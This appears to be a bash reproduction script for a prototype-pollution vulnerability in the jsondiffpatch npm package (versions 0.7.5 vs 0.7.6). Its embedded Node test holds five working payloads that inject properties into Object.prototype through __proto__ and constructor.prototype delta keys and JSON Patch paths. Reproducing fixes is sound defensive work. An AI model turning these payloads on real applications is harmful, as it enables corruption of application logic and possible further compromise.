#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

TMP_DIR="$ROOT/tmp_repro"
mkdir -p "$TMP_DIR"

# Cleanup trap
cleanup() {
  rm -rf "$TMP_DIR"
}
trap cleanup EXIT

# Install vulnerable version
VULN_DIR="$TMP_DIR/vuln"
mkdir -p "$VULN_DIR"
cd "$VULN_DIR"
cat > package.json << 'EOF'
{"type":"module"}
EOF
npm install jsondiffpatch@0.7.5 --no-package-lock --silent 2>&1 | tee "$LOGS/npm_install_vuln.log"

# Install fixed version
FIXED_DIR="$TMP_DIR/fixed"
mkdir -p "$FIXED_DIR"
cd "$FIXED_DIR"
cat > package.json << 'EOF'
{"type":"module"}
EOF
npm install jsondiffpatch@0.7.6 --no-package-lock --silent 2>&1 | tee "$LOGS/npm_install_fixed.log"

# Write the test script as ES module into each install dir
for dir in "$VULN_DIR" "$FIXED_DIR"; do
  cp /dev/stdin "$dir/test.mjs" << 'NODEEOF'
import * as jsondiffpatch from 'jsondiffpatch';
import * as jsonpatchFormatter from 'jsondiffpatch/formatters/jsonpatch';

function cleanupPrototype() {
  delete Object.prototype.pp1;
  delete Object.prototype.pp2;
  delete Object.prototype.pp3;
  delete Object.prototype.pp4;
  delete Object.prototype.pp5;
}

function checkPolluted(label) {
  const obj = {};
  const polluted = [];
  for (let i = 1; i <= 5; i++) {
    if (obj['pp' + i] !== undefined) {
      polluted.push('pp' + i);
    }
  }
  if (polluted.length > 0) {
    console.log('POLLUTED ' + label + ': ' + polluted.join(', '));
    return true;
  }
  return false;
}

let anyPolluted = false;

// Test 1: __proto__ in jsondiffpatch.patch()
cleanupPrototype();
try {
  const delta = JSON.parse('{"__proto__":{"pp1":["POLLUTED"]}}');
  jsondiffpatch.patch({ target: 'target' }, delta);
} catch (e) {
  // ignore errors
}
anyPolluted = checkPolluted('patch_proto') || anyPolluted;

// Test 2: constructor.prototype in jsondiffpatch.patch()
cleanupPrototype();
try {
  const delta = {
    constructor: {
      prototype: {
        pp2: ['POLLUTED'],
      },
    },
  };
  jsondiffpatch.patch({ target: 'target' }, delta);
} catch (e) {
  // ignore errors
}
anyPolluted = checkPolluted('patch_constructor') || anyPolluted;

// Test 3: jsonpatchFormatter.patch with __proto__ add
cleanupPrototype();
try {
  jsonpatchFormatter.patch({ target: 'target' }, [
    { op: 'add', path: '/__proto__/pp3', value: 'POLLUTED' },
  ]);
} catch (e) {
  // ignore errors
}
anyPolluted = checkPolluted('jsonpatch_add') || anyPolluted;

// Test 4: jsonpatchFormatter.patch with replace __proto__
cleanupPrototype();
try {
  jsonpatchFormatter.patch({ target: 'target' }, [
    { op: 'replace', path: '/__proto__/pp4', value: 'POLLUTED' },
  ]);
} catch (e) {
  // ignore errors
}
anyPolluted = checkPolluted('jsonpatch_replace') || anyPolluted;

// Test 5: unpatch with constructor.prototype
cleanupPrototype();
try {
  const delta = {
    constructor: {
      prototype: {
        pp5: ['POLLUTED'],
      },
    },
  };
  jsondiffpatch.unpatch({ target: 'target' }, delta);
} catch (e) {
  // ignore errors
}
anyPolluted = checkPolluted('unpatch_constructor') || anyPolluted;

if (anyPolluted) {
  console.log('VULNERABLE');
  process.exit(0);
} else {
  console.log('NOT_VULNERABLE');
  process.exit(1);
}
NODEEOF
done

# Run against vulnerable version
echo "=== Testing vulnerable version 0.7.5 ===" | tee "$LOGS/test_vuln.log"
cd "$VULN_DIR"
set +e
node test.mjs 2>&1 | tee -a "$LOGS/test_vuln.log"
VULN_EXIT="${PIPESTATUS[0]}"
set -e

# Run against fixed version
echo "=== Testing fixed version 0.7.6 ===" | tee "$LOGS/test_fixed.log"
cd "$FIXED_DIR"
set +e
node test.mjs 2>&1 | tee -a "$LOGS/test_fixed.log"
FIXED_EXIT="${PIPESTATUS[0]}"
set -e

# Analyze results
if grep -q "VULNERABLE" "$LOGS/test_vuln.log" && [ "$VULN_EXIT" -eq 0 ]; then
  echo "VULNERABLE version (0.7.5) confirmed exploitable."
else
  echo "ERROR: Expected vulnerable version to be exploitable."
  exit 1
fi

if grep -q "NOT_VULNERABLE" "$LOGS/test_fixed.log" && [ "$FIXED_EXIT" -eq 1 ]; then
  echo "FIXED version (0.7.6) confirmed not exploitable."
else
  echo "ERROR: Expected fixed version to be not exploitable."
  exit 1
fi

# Write runtime manifest
cat > "$ROOT/repro/runtime_manifest.json" << 'EOF'
{
  "cve": "CVE-2026-8657",
  "issue": "prototype pollution in jsondiffpatch patch()",
  "vulnerable_version": "0.7.5",
  "fixed_version": "0.7.6",
  "exploitable_vectors": [
    "jsondiffpatch.patch() with __proto__ delta key",
    "jsondiffpatch.patch() with constructor.prototype delta key",
    "jsonpatchFormatter.patch() add op with __proto__ path",
    "jsonpatchFormatter.patch() replace op with __proto__ path",
    "jsondiffpatch.unpatch() with constructor.prototype delta key"
  ],
  "reproduced": true
}
EOF

echo "=== Reproduction successful ==="
exit 0
